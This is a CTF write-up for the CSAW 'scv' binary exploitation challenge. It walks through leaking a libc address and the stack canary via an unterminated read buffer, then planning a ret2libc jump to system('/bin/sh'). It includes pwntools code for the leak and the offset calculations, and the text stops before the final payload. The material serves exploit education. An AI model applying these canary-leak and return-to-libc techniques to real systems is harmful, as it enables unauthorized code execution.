SCV is too hungry to mine the minerals. Can you give him some food?
nc pwn.chal.csaw.io 3764
Introduction
The binary is pretty simple to read we have 3 options, option 1 is to feed the SCV which is just filling a buffer with string from stdin, option 2 prints the string using puts so no format string vulnerability possible here, option 3 is to exit the program.
Pretty simple but where is the vulnerability? We can see the number of bytes in the parameters of read function is bigger than what the buffer can handle so we have a buffer overflow vulnerability but the real problem is how are we going to bypass this protections?:
NX is enabled so the stack is not executable! we can bypass this easily using return-oriented-programming(ROP), but another stack protection is enabled too which is the stack canary, we need to find away to leak addresses from the stack! but how do we do this?
As we can see above the read function is reading the buf from STDIN, and what can we know about read? This function doesn’t put a null byte at the end of the read string, this awesome ! and why? because latter with option 2 puts will print the string until it finds a null byte, we can use this to our advantage to leak addresses from libc from the stack and even the stack canary itself! We just need to use gdb and look up the memory!
The plan is pretty simple:
1 2
1 - Leak libc addresses and stack canary 2 - Overflow the buffer and return to libc
Leak libc addresses and stack canary
Lets do some debugging with gdb lets put a break point right before the read occurs and check the values of the buffer before being filled:
As we can see there is a libc address in stack 0x00007f2cea4aabe9 we can count it easily how much we need to fill the buffer to print that address! and we need 40 bytes. Writing the code to do this is very simple can be built in a function like this:
defreadAddressFromTheStack(size, bytes_to_read, offset=0): """ Args: size (int): number of characters to send to the stack. bytes_to_read (int): number of bytes to read from the stack we want to leak. offset (int): number to subtract if we want to adjust the leaked address. (Optional) Returns: int: returns an address leaked from the stack. """ # Write a certain number of bytes to leak an address r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline('A'*size)
# Read it from the stack print r.recvuntil('>>') r.sendline('2') r.recvuntil('[*]PLEASE TREAT HIM WELL.....') r.recvline() r.recvline() r.recv(size) return u64(r.recv(bytes_to_read).ljust(8, '\x00'))-offset
So what to do with this address? we can calculate its offset to system for example! we can get the system address to calculate the offset and subtract the both values:
Implementing this in python would be like this:
1 2 3 4 5 6 7 8 9 10 11
# Get a libc address from the stack LEAKED = readAddressFromTheStack(40, 6, -0x8f) SYSTEM = LEAKED + 0xb0f7 LIBCBASE = SYSTEM -libc.symbols['system'] BINSH_OFFSET = 0x18cd17# strings -a -t x libc-2.23.so | grep '/bin/sh' BINSH = LIBCBASE + BINSH_OFFSET
The 3rd argument of readAddressFromTheStack is adjusting the address because in the read we are reading 40 bytes plus the new line character ‘\n’ because to send to the server we need to press enter, I could actually instead of sending 40 bytes in the padding we could just send 39 and the number would be right but I got lazy during the CTF so instead of fixing that I just readjust the address, the leaked address will always be overwritten with 0x0a which is ‘\n’ Ascii code representation, so as I said before it needs some adjusting.
Stack canary
Now that we have everything we need for libc we just need to get the stack canary address! to check where its being stored we can look at the very beginning of the main function
From radare2 we can check it is being stored at local_8h which is a friendly name to be more readable in reality thinking it in assembly it’s stored in RBP-0x8 where RBP is the baseframe pointer.
So lets check again in gdb, put a break point right before the read function and print the RBP-0x8 to see the stack canary value:
Here is the code to get the stack canary from the stack:
We already have everything we need we just need to jump to libc rewrite the stack canary where it should be and remember we can’t forget to choose option 3 to exit the program, otherwise we never execute the ret assembly instruction and jump to system("/bin/sh");:
defgetConn(): return process('./scv', env = {"LD_PRELOAD":'./libc-2.23.so'}) if local else remote('pwn.chal.csaw.io', 3764)
defreadAddressFromTheStack(size, bytes_to_read, offset=0): """ Args: size (int): number of characters to send to the stack. bytes_to_read (int): number of bytes to read from the stack we want to leak. offset (int): number to subtract if we want to adjust the leaked address. (Optional) Returns: int: returns an address leaked from the stack. """ # Write a certain number of bytes to leak LIBC r.recvuntil('>>') r.sendline('1') r.recvuntil('>>') r.sendline('A'*size)
# Read from the stack print r.recvuntil('>>') r.sendline('2') r.recvuntil('[*]PLEASE TREAT HIM WELL.....') r.recvline() r.recvline() r.recv(size) return u64(r.recv(bytes_to_read).ljust(8, '\x00'))-offset local = False binary = ELF('./scv') libc = ELF('./libc-2.23.so')